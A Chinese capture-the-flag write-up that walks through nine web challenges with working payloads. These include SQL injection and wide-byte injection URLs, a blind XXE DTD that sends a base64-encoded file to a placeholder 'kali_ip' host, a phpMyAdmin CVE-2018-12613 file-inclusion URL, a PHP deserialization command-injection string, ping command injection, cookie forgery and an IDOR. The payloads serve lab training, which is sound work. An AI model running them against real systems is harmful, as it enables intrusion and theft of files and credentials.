【CTF】合天御宅战役官方WP

0x01 :你的脑袋有点大(http头)

0x02 后台登陆(http头+sql注入)

打开页面可以看到没有访问权限,可以利用构造XFF头

进去后利用万能密码 ,密码随便输

猜测后台sql语句select * from user where username = '$name' and password='$passowrd'

0x03 又是登陆(blind xxe)

<!ENTITY % p1 SYSTEM "php://filter/convert.base64-encode/resource=/opt/password.txt">
<!ENTITY % p2 "<!ENTITY e2 SYSTEM 'http://kali_ip/msg?%p1;'>">
%p2;

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://10.1.1.135/2.dtd">
<foo>&e2;</foo>

heetianlab/heetian_v5

0x04 合天网安新闻(宽字节注入)
过滤空格、select、union

http://10.1.1.100/new.php?id=-1�'+Union+Select+1,flag,3+from+flag%23

0x05 后台的key
1.打开地址发现是一个熊海cms

2.题目是后台的key,我们来访问一下后台试一试10.1.1.200/houtai/admin发现跳转到admin后台登录位置

3.随意输入admin 123456抓包

4.修改包r=wlist,然后加上Cookie:user=admin

5.forward放包成功登陆后台,查看源码可以看到key

0x06 有趣的SSRF

1.打开可以看到是个有回显的ssrf,既然有回显那我们直接读key不就可以吗?

  1. 尝试file协议读取/opt/key.txt,发现无内容,继续尝试读取/etc/passwd发现还是无回显,猜测其可能是禁止我们使用file协议.
  2. 既然file协议不通,那说明考点不在这。那我们来一波端口探测:

可以看到成功回显了ssh的banner信息,继续进行其他端口探测。
4. 经过测试发现其开放了8080端口,而且还是个struts2

  1. 于是想到了利用ssrf打struts2,这道题的考点一定是这个,于是测试相关payload,发现其存在s2-032。
  2. 直接利用payload读取key:

0x07 PHPMYADMIN(CVE-2018-12613)

1.访问phpmyadmin,尝试使用默认口令root/root进行登录,登录后可以看到phpmyadmin版本为4.8.1,想到cve-2018-12613文件包含漏洞。

从题目描述得知flag可能存在于/opt/key.txt下面,因为该漏洞可以包含任意文件,所以尝试直接包含flag文件
2. 构造paylaod读取系统文件:
Payload:http://10.1.1.100/phpmyadmin/index.php?target=db_export.php%3f/../../../../../../../../../opt/key.txt

0x08 统一登录平台

  1. 尝试弱口令登录,万能密码登陆,sql注入,未果
  2. 目录扫描
    使用开源目录扫描工具dirsearch进行目录扫描
    disearch:https://github.com/maurosoria/dirsearch
    cd /root/Desktop/dirsearch
    python3 dirsearch.py –u ‘http://10.1.1.100/tongyidenglu/’ –e php

发现robots.txt文件,访问后内容如下,推测flag文件所在位置为/opt/key.txt:

发现www.tar.gz压缩包,下载后解压查看内容推测为网站部分源代码:

cd /root/Downloads
tar –xzf www.tar.gz

进行代码审计,发现common目录下的home.php文件存在反序列化操作,反序列化的对象为post方式用户提交的a参数,故在此a为可控点,我们可以寻找一处可以触发敏感操作的地方。

在对象销毁时,会自动调用我们这里自定义函数__destruct()方法。【已在图中中标明函数介绍】这里存在一处敏感操作,去执行回调函数,根据我们home对象中的method属性的值去调用哪个方法,这里有一个ping方法,ping方法中使用了敏感函数system,所以我们在实例化对象时可以将method属性设置为ping,这里没有对args参数做限制【除了一开始的去除空格】,所以我们可以尝试命令执行。

得到:O:4:"home":2:{s:12:" home method";s:4:"ping";s:10:" home args";a:1:{i:0;s:8:"1|whoami";}}
这里有个需要注意的点,home类中的method及args属性均为private,在序列化后的字符串 中home method及home args左侧都有一个0x00

因此我们在发送payload时需要加上%00。
在构造payload时还需要注意绕过空格的限制:

因此payload为(在/root/Desktop/re.txt文件中):
a=O:4:"home":2:{s:12:"%00home%00method";s:4:"ping";s:10:"%00home%00args";a:1:{i:0;s:23:"1|cat${IFS}/opt/key.txt";}}

Bp发包即可得到flag。

继续代码审计,发现lib目录下的User.php文件,其中有定义Login登陆功能、register注册功能、upload文件上传功能、ping等;

当我们使用弱口令登陆时可发现调用login登录函数的方式:
http://10.1.1.100/tongyidenglu/index.php?c=User&a=login

可以发现这里的ping函数使用POST请求方式接受用户传递的host参数,并且未经过滤的代入危险函数system中执行,可确定存在命令执行漏洞。

调用ping函数:
http://10.1.1.100/tongyidenglu/index.php?c=User&a=ping
传递payload:
host=127.0.0.1|cat /opt/key.txt

0x09 听说越权就送flag

  1. 打开题目可以看到是一个商城

  2. 根据题目提示这个是越权漏洞,我们首先注册一个用户查看

  3. 注册账号

  4. 登录用户中心查看功能找到收货地址功能

  5. 首先随意创建一个地址

  6. 对创建好的地址点击修改,在burp里面可以看到数据包对应的地址id为3,那么前面id为2 、id为1的内容是什么呢

  7. 访问地址10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=3可以发现这里就是我自己的地址

  8. 访问10.1.1.100/TinyShop3/index.php?con=simple&act=address_other&id=2可以看到获取到key通关

原文地址:https://www.cnblogs.com/marcus666/p/12960963.html